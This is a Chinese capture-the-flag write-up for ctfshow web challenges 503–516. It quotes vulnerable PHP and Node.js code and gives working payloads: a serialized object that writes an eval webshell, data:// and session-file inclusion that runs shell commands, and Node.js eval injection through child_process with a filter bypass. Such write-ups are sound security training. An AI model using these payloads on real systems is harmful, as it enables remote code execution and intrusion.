web503
看了之前的文件的发现都没办法利用了
这个页面的源码发现了
layui.use(['layer', 'form'], function(){var layer = layui.layer,form = layui.form;form.on('submit(admin_settings)', function(data){$.ajax({url:'api/admin_settings.php',dataType:"json",type:'post',data:{title:data.field['title'],copy_right:data.field['copy_right'],beian:data.field['beian'],seo:data.field['seo']},success:function(data){layer.alert(data.msg, function(index){location.reload();}); }});return false;});
});layui.use('element', function(){var element = layui.element;
});
layui.use('upload', function(){var upload = layui.upload;var uploadInst = upload.render({elem: '#logo' ,url: 'api/admin_upload.php' ,done: function(data){layer.alert(data.msg, function(index){location.reload();});}});
});
function change_avatar(){$('#avatar').toggle();
}
?action=../api/admin_upload
<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){$arr = $_FILES["file"];if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 ){$arr["tmp_name"];$filename = md5($arr['name']); //传入的文件名被MD5$ext = pathinfo($arr['name'],PATHINFO_EXTENSION); //获取文件扩展名if(!preg_match('/^php$/i', $ext)){$basename = "../img/".$filename.'.' . $ext; move_uploaded_file($arr["tmp_name"],$basename); //文件被移动到/var/www/html/img$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));$config['logo']=$filename.'.' . $ext;file_put_contents(__DIR__.'/../config/settings', serialize($config));$ret['msg']='文件上传成功';}}else{$ret['msg']='文件上传失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}
?action=../api/admin_db_backup
<?phpsession_start();include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);if(file_exists($pre.$db_format)){ $ret['msg']='数据库备份成功';die(json_encode($ret));}if(preg_match('/^(zip|tar|sql)$/', $db_format)){shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));if(file_exists($pre.$db_format)){$ret['msg']='数据库备份成功';}else{$ret['msg']='数据库备份失败';}}else{$ret['msg']='数据库备份失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}
file_exists触发phar反序列化
<?phperror_reporting(0);
class db{public $db;public $log;public $sql;public $username='root';public $password='root';public $port='3306';public $addr='127.0.0.1';public $database='ctfshow';public function __construct(){$this->log=new dbLog();$this->db=$this->getConnection();}public function getConnection(){return new mysqli($this->addr,$this->username,$this->password,$this->database);}public function select_one($sql){$this->sql=$sql;$result=$this->db->query($sql);if($result){return $result->fetch_object();}}public function select_one_array($sql){$this->sql=$sql;$conn = db::getConnection();$result=$this->db->query($sql);if($result){return $result->fetch_assoc();}}public function update_one($sql){$this->sql=$sql;$conn = db::getConnection();$this->db->query($sql);return $this->db->affected_rows;}public function __destruct(){$this->log->log($this->sql);}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';}public function log($sql){$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';}public function __destruct(){file_put_contents($this->log, $this->content,FILE_APPEND);}
}
思路
先打一个phar文件进去--》
在backup传参pre=/var/www/html/img&db_format=我们传入文件的md5文件名比如打的是aaa.phar
就传c54c75d1d14d4d656f5c33d25b3bfbaa加后缀phar
至于具体的操作怎么来先欠着不会phar反序列化
web504
有多的文件了
bushi,看不了源码了
在这个地方抓包观察一下
创建模版的地方抓包看看
找一下文件在哪里
发现上传在这里但是还是没有利用的点哇,我们之前序列化写马成功了,现在看看那
诶还是没成功,路径改改
终于getshell
EXP是这个
<?php
class dbLog{public $content='<?=eval($_POST[1]);?>';public $log='/var/www/html/ma.php';public function __destruct(){file_put_contents($this->log, $this->content,FILE_APPEND);}
}
echo urlencode(serialize(new dbLog()));
?>
web505
进入页面发现有个文件查看又可以看源码了
看一下源码先
<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);if($debug==1 && preg_match('/^user/', file_get_contents($f))){include($f);}else{$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));}$ret['msg']='查看成功';die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}
这里可以直接写马,用POST覆盖,要使得文件包含
已知文件在templates里面,然后在
url/api/api/admin_file_view.php
传参
web506
api/admin_file_view.php
<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);$ext = substr($f, strlen($f)-3,3);if(preg_match('/php|sml|phar/i', $ext)){$ret['msg']='请不要使用此功能';die(json_encode($ret));}if($debug==1 && preg_match('/^user/', file_get_contents($f))){include($f);}else{$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));}$ret['msg']='查看成功';die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}
文件后缀名字需要改一下
web507
<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);$ext = substr($f, strlen($f)-3,3);if(preg_match('/php|sml|phar/i', $ext)){$ret['msg']='请不要使用此功能';die(json_encode($ret));}if($debug==1 && preg_match('/^user/', file_get_contents($f))){include($f);}else{$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));}$ret['msg']='查看成功';die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}
我上传文件并没有成功
直接读取用data协议
debug=1&f=data://test/palin,user<?php+system("tac /f*");
但是这是为什么呢,文件都是一模一样的
web508
上传头像这个地方其实是可以上传木马的
这个头像的位置在临时文件下面
/tmp/sess_cookie值
url/api/admin_file_view.phpPOST:
debug=1&f=/tmp/sess_s4k5igq6j7ccld43846e2nots5&1=echo `tac /f*`;
web509
没有禁sess还是像上题一样
web510
一样的打法
web515
var express = require('express');
var _= require('lodash');
var router = express.Router();/* GET users listing. */
router.get('/', function(req, res, next) {res.render('index', { title: '鎴戞槸澶嶈鏈�' });
});router.post('/',function(req,res,next){if(req.body.user!=null){msg = req.body.user;if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){res.render('index', { title: '鏁忔劅淇℃伅涓嶅璇�' });}else{res.render('index', { title: eval(msg) });}}else{res.render('index', { title: '鎴戞槸澶嶈鏈�' });}});
module.exports = router;
在路由index.php中POST传参user=...
那么这里是是js的RCE
首先GET传参没有过滤
POST传参user有部分过滤
https://46e2a8d3-92b0-432e-8fc2-8f47b7a2da0b.challenge.ctf.show/index.php?b=require("child_process").execSync("tac /f*")
POST:
user=eval(req.query.b) //执行GET传参的b参数
当然也可以直接POST传参
user=eval(req.body.b)&b=require("child_process").execSync("tac /f*")
web516
if(user!==undefined){ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');}else{ctx.render('/');}
审计代码发现这里可以代码执行
app.use(async(ctx,next)=>{if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){return}else{await next()}})
审计这里发现了过滤的东西,使用引号绕过
username=aaaa&password=1)%2beval(('req'%2b'uire("chi'%2b'ld_proce'%2b'ss").ex'%2b'ecSync("echo $FLAG")')
一个很正常的绕过姿势